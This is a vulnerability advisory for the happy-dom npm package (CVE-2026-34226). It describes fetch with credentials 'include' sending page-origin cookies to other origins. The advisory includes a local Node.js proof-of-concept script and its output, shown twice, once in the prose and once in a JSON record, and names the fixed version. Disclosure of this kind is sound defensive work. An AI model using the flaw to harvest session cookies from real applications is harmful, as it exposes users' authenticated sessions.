GHSA-W4GP-FJGQ-3Q4G

Vulnerability from github – Published: 2026-03-29 15:23 – Updated: 2026-03-29 15:23
VLAI?
Summary
Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies
Details

Summary

happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details

In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
  originURL,
  false
);

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content

const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');

async function listen(server, host) {
  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}

async function run() {
  let observedCookieHeader = null;
  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';

  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
  console.log('Setup:');
  console.log(`  Page Origin Host : ${pageHost}`);
  console.log(`  Request Target Host: ${apiHost}`);
  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');
  console.log('');

  await dns.lookup(pageHost);
  await dns.lookup(apiHost);

  const pageServer = http.createServer((req, res) => {
    res.writeHead(200, { 'content-type': 'text/plain' });
    res.end('page host');
  });

  const apiServer = http.createServer((req, res) => {
    observedCookieHeader = req.headers.cookie || '';
    const origin = req.headers.origin || '';
    res.writeHead(200, {
      'content-type': 'application/json',
      'access-control-allow-origin': origin,
      'access-control-allow-credentials': 'true'
    });
    res.end(JSON.stringify({ ok: true }));
  });

  const pagePort = await listen(pageServer, '127.0.0.1');
  const apiPort = await listen(apiServer, '127.0.0.1');

  const browser = new Browser();

  try {
    const context = browser.defaultContext;

    // Page host: pageHost (local DNS)
    const page = context.newPage();
    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';

    // Target host: apiHost (local DNS)
    const apiSeedPage = context.newPage();
    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';

    // Trigger cross-host request with credentials.
    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
      credentials: 'include'
    });
    await res.text();

    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');

    console.log('Expected:');
    console.log('  Request to target host should include "api_cookie=API_ONLY".');
    console.log('  Request should NOT include "page_cookie=PAGE_ONLY".');
    console.log('');

    console.log('Actual:');
    console.log(`  request cookie header: "${observedCookieHeader || '(empty)'}"`);
    console.log(`  includes page_cookie: ${leakedPageCookie}`);
    console.log(`  includes api_cookie : ${expectedApiCookie}`);
    console.log('');

    if (leakedPageCookie && !expectedApiCookie) {
      console.log('Result: VULNERABLE behavior reproduced.');
      process.exitCode = 0;
    } else {
      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
      process.exitCode = 1;
    }
  } finally {
    await browser.close();
    pageServer.close();
    apiServer.close();
  }
}

run().catch((error) => {
  console.error(error);
  process.exit(1);
});

Environment: 1. Node.js >= 22 2. happy-dom 20.6.1 3. DNS names resolving to local loopback via *.127.0.0.1.nip.io

Reproduction steps: 1. Set page host cookie: page_cookie=PAGE_ONLY on a.127.0.0.1.nip.io 2. Set target host cookie: api_cookie=API_ONLY on b.127.0.0.1.nip.io 3. From page host, call fetch to target host with credentials: "include" 4. Observe Cookie header received by the target host

Expected: 1. Include api_cookie=API_ONLY 2. Do not include page_cookie=PAGE_ONLY

Actual (observed): 1. Includes page_cookie=PAGE_ONLY 2. Does not include api_cookie=API_ONLY

Observed output:

=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
  Page Origin Host : a.127.0.0.1.nip.io
  Request Target Host: b.127.0.0.1.nip.io
  (both resolve to 127.0.0.1 via public wildcard DNS)

Expected:
  Request to target host should include "api_cookie=API_ONLY".
  Request should NOT include "page_cookie=PAGE_ONLY".

Actual:
  request cookie header: "page_cookie=PAGE_ONLY"
  includes page_cookie: true
  includes api_cookie : false

Result: VULNERABLE behavior reproduced.

Impact

Cross-origin sensitive information disclosure (cookie leakage). Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "happy-dom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "20.8.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34226"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-29T15:23:57Z",
    "nvd_published_at": "2026-03-27T22:16:23Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`happy-dom` may attach cookies from the current page origin (`window.location`) instead of the request target URL when `fetch(..., { credentials: \"include\" })` is used. This can leak cookies from origin A to destination B.\n\n### Details\nIn [`packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts`](https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts) (`getRequestHeaders()`), cookie selection is performed with `originURL`:\n\n```ts\nconst originURL = new URL(options.window.location.href);\nconst isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);\n// ...\nconst cookies = options.browserFrame.page.context.cookieContainer.getCookies(\n  originURL,\n  false\n);\n```\n\nHere, `originURL` represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: `new URL(options.request[PropertySymbol.url])`).\n\n### PoC Script Content\n\n```javascript\nconst http = require(\u0027http\u0027);\nconst dns = require(\u0027dns\u0027).promises;\nconst { Browser } = require(\u0027happy-dom\u0027);\n\nasync function listen(server, host) {\n  return new Promise((resolve) =\u003e server.listen(0, host, () =\u003e resolve(server.address().port)));\n}\n\nasync function run() {\n  let observedCookieHeader = null;\n  const pageHost = process.env.PAGE_HOST || \u0027a.127.0.0.1.nip.io\u0027;\n  const apiHost = process.env.API_HOST || \u0027b.127.0.0.1.nip.io\u0027;\n\n  console.log(\u0027=== PoC: Wrong Cookie Source URL in credentials:include ===\u0027);\n  console.log(\u0027Setup:\u0027);\n  console.log(`  Page Origin Host : ${pageHost}`);\n  console.log(`  Request Target Host: ${apiHost}`);\n  console.log(\u0027  (both resolve to 127.0.0.1 via public wildcard DNS)\u0027);\n  console.log(\u0027\u0027);\n\n  await dns.lookup(pageHost);\n  await dns.lookup(apiHost);\n\n  const pageServer = http.createServer((req, res) =\u003e {\n    res.writeHead(200, { \u0027content-type\u0027: \u0027text/plain\u0027 });\n    res.end(\u0027page host\u0027);\n  });\n\n  const apiServer = http.createServer((req, res) =\u003e {\n    observedCookieHeader = req.headers.cookie || \u0027\u0027;\n    const origin = req.headers.origin || \u0027\u0027;\n    res.writeHead(200, {\n      \u0027content-type\u0027: \u0027application/json\u0027,\n      \u0027access-control-allow-origin\u0027: origin,\n      \u0027access-control-allow-credentials\u0027: \u0027true\u0027\n    });\n    res.end(JSON.stringify({ ok: true }));\n  });\n\n  const pagePort = await listen(pageServer, \u0027127.0.0.1\u0027);\n  const apiPort = await listen(apiServer, \u0027127.0.0.1\u0027);\n\n  const browser = new Browser();\n\n  try {\n    const context = browser.defaultContext;\n\n    // Page host: pageHost (local DNS)\n    const page = context.newPage();\n    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;\n    page.mainFrame.window.document.cookie = \u0027page_cookie=PAGE_ONLY\u0027;\n\n    // Target host: apiHost (local DNS)\n    const apiSeedPage = context.newPage();\n    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;\n    apiSeedPage.mainFrame.window.document.cookie = \u0027api_cookie=API_ONLY\u0027;\n\n    // Trigger cross-host request with credentials.\n    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {\n      credentials: \u0027include\u0027\n    });\n    await res.text();\n\n    const leakedPageCookie = observedCookieHeader.includes(\u0027page_cookie=PAGE_ONLY\u0027);\n    const expectedApiCookie = observedCookieHeader.includes(\u0027api_cookie=API_ONLY\u0027);\n\n    console.log(\u0027Expected:\u0027);\n    console.log(\u0027  Request to target host should include \"api_cookie=API_ONLY\".\u0027);\n    console.log(\u0027  Request should NOT include \"page_cookie=PAGE_ONLY\".\u0027);\n    console.log(\u0027\u0027);\n\n    console.log(\u0027Actual:\u0027);\n    console.log(`  request cookie header: \"${observedCookieHeader || \u0027(empty)\u0027}\"`);\n    console.log(`  includes page_cookie: ${leakedPageCookie}`);\n    console.log(`  includes api_cookie : ${expectedApiCookie}`);\n    console.log(\u0027\u0027);\n\n    if (leakedPageCookie \u0026\u0026 !expectedApiCookie) {\n      console.log(\u0027Result: VULNERABLE behavior reproduced.\u0027);\n      process.exitCode = 0;\n    } else {\n      console.log(\u0027Result: Vulnerable behavior NOT reproduced in this run/version.\u0027);\n      process.exitCode = 1;\n    }\n  } finally {\n    await browser.close();\n    pageServer.close();\n    apiServer.close();\n  }\n}\n\nrun().catch((error) =\u003e {\n  console.error(error);\n  process.exit(1);\n});\n\n```\n\n\nEnvironment:\n1. Node.js \u003e= 22\n2. `happy-dom` 20.6.1\n3. DNS names resolving to local loopback via `*.127.0.0.1.nip.io`\n\nReproduction steps:\n1. Set page host cookie: `page_cookie=PAGE_ONLY` on `a.127.0.0.1.nip.io`\n2. Set target host cookie: `api_cookie=API_ONLY` on `b.127.0.0.1.nip.io`\n3. From page host, call fetch to target host with `credentials: \"include\"`\n4. Observe `Cookie` header received by the target host\n\nExpected:\n1. Include `api_cookie=API_ONLY`\n2. Do not include `page_cookie=PAGE_ONLY`\n\nActual (observed):\n1. Includes `page_cookie=PAGE_ONLY`\n2. Does not include `api_cookie=API_ONLY`\n\nObserved output:\n```text\n=== PoC: Wrong Cookie Source URL in credentials:include ===\nSetup:\n  Page Origin Host : a.127.0.0.1.nip.io\n  Request Target Host: b.127.0.0.1.nip.io\n  (both resolve to 127.0.0.1 via public wildcard DNS)\n\nExpected:\n  Request to target host should include \"api_cookie=API_ONLY\".\n  Request should NOT include \"page_cookie=PAGE_ONLY\".\n\nActual:\n  request cookie header: \"page_cookie=PAGE_ONLY\"\n  includes page_cookie: true\n  includes api_cookie : false\n\nResult: VULNERABLE behavior reproduced.\n```\n\n### Impact\nCross-origin sensitive information disclosure (cookie leakage).\nImpacted users are applications relying on `happy-dom` browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.",
  "id": "GHSA-w4gp-fjgq-3q4g",
  "modified": "2026-03-29T15:23:57Z",
  "published": "2026-03-29T15:23:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/security/advisories/GHSA-w4gp-fjgq-3q4g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34226"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/pull/2117"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/commit/68324c21d7b98f53f7bb5a7b3e185bda7106e751"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/capricorn86/happy-dom"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/blob/f8d8cad41e9722fab9eefb9dfb3cca696462e908/packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts"
    },
    {
      "type": "WEB",
      "url": "https://github.com/capricorn86/happy-dom/releases/tag/v20.8.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Happy DOM\u0027s fetch credentials include uses page-origin cookies instead of target-origin cookies"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…